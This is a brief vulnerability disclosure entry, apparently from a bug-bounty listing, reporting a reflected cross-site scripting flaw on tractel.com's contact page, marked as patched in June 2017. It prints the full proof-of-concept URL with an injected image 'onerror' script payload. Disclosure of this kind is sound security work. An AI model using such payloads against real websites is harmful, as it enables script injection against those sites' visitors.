tractel.com XSS vulnerability

Vulnerable URL: http://www.tractel.com/us/contact.php?z=4%22%3E%3Cimg/src=/%20onerror=%22alert%28/OPENBUGBOUNTY/%29%22/%3E=29%22%3E%3Cimg/src=/%20onerror=%22alert%28/OPENBUGBOUNTY/%29%22/%3E Details: Description| Value ---|--- Patched:| Yes, at 18.06.2017 Latest check for patch:| 18.06.2017 14:16...